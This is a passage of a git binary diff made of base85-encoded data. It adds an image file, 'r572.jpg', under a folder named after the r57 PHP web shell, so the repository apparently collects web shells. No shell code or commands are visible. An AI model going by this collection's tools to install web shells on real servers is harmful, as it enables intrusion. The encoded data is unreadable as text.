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 literal 0 HcmV?d00001 diff --git a/php/PHPshell/【r57_iFX】/r572.jpg b/php/PHPshell/【r57_iFX】/r572.jpg new file mode 100644 index 0000000000000000000000000000000000000000..58ffbe9b3401c97652be4554b42220c8bab576ed GIT binary patch literal 83672 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 